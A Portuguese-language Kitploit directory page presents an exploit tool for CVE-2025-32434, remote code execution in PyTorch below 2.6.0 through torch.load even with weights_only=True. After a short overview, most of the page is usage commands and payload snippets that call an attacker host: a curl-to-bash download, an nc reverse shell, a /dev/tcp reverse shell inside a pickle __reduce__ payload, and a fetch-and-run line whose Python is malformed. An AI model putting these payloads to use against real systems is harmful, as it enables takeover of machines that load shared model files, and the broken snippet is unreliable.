Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-32434-exploit — Um script para explorar uma vulnerabilidade no PyTorch com subsequente RCE em versões da biblioteca < 2.6.0 | Kitploit
Ferramentas/GitHubGitHub/b1tbit/cve-2025-32434-exploit
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoComando e ControleFerramenta de Acesso Remoto
GitHubb1tbit/cve-2025-32434-exploit

CVE-2025-32434-exploit

Um script para explorar uma vulnerabilidade no PyTorch com subsequente RCE em versões da biblioteca < 2.6.0

Ver Repositório
há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Visão Geral

Esta exploração demonstra uma vulnerabilidade crítica de execução remota de código (CVE-2025-32434) no PyTorch versões < 2.6.0. A falha existe na função torch.load() mesmo ao usar weights_only=True, que deveria prevenir a execução arbitrária de código durante a desserialização do modelo.

A vulnerabilidade ocorre porque a implementação do _weights_only_unpickler falha ao restringir adequadamente a desserialização, permitindo que atacantes criem arquivos .pt de modelo maliciosos que executam comandos arbitrários do sistema quando carregados por instalações vulneráveis do PyTorch.

  • Versões Afetadas: PyTorch < 2.6.0
  • Pontuação CVSS: Crítica (estimada 9.8)
  • Impacto: RCE total no host que carrega o modelo

Uso

  1. Salve como exploit.py
  2. Execute para criar um arquivo de modelo malicioso:
root@kitploit:~
# Basic usage - creates model that touches /tmp/pwned
python3 exploit.py
# Execute custom command
python3 exploit.py -c "id > /tmp/whoami"
# Test the exploit (loads the model to verify RCE)
python3 exploit.py -c "id" -t
# Advanced exploit variant with alternative bypass
python3 exploit.py --advanced -c "curl -s http://attacker.com/shell.sh | bash" -t
# Save to custom filename
python3 exploit.py -f evil_model.pt -c "nc -e /bin/sh attacker.com 4444"

Exemplo de saída:

root@kitploit:~
=== CVE-2025-32434 PyTorch RCE Exploit ===
[*] Creating malicious PyTorch model...
[+] Malicious model saved as 'malicious_model.pt'
[+] Will execute command: touch /tmp/pwned
[+] Created malicious model: malicious_model.pt

[*] Testing exploit...
[+] PyTorch version: 2.5.1+cu121
[+] Version is vulnerable to CVE-2025-32434
[*] Loading malicious model with weights_only=True...
[*] This should be safe, but due to CVE-2025-32434 it's not!
[+] Model loaded successfully

Personalização

Edite os métodos reduce() em create_malicious_model() ou create_advanced_exploit():

root@kitploit:~
# Example: Reverse shell payload
class ExploitPayload:
    def __reduce__(self):
        return (eval, ("__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1')",))

# Example: File download + execute
return (eval, ("__import__('urllib.request').urlopen('http://attacker.com/payload.sh').read().decode().strip() | __import__('os').system",))

Verificação

Verifique a Vulnerabilidade do Alvo

root@kitploit:~
import torch
print(f"PyTorch: {torch.__version__}")
# Vulnerable if < 2.6.0
Baixar ferramenta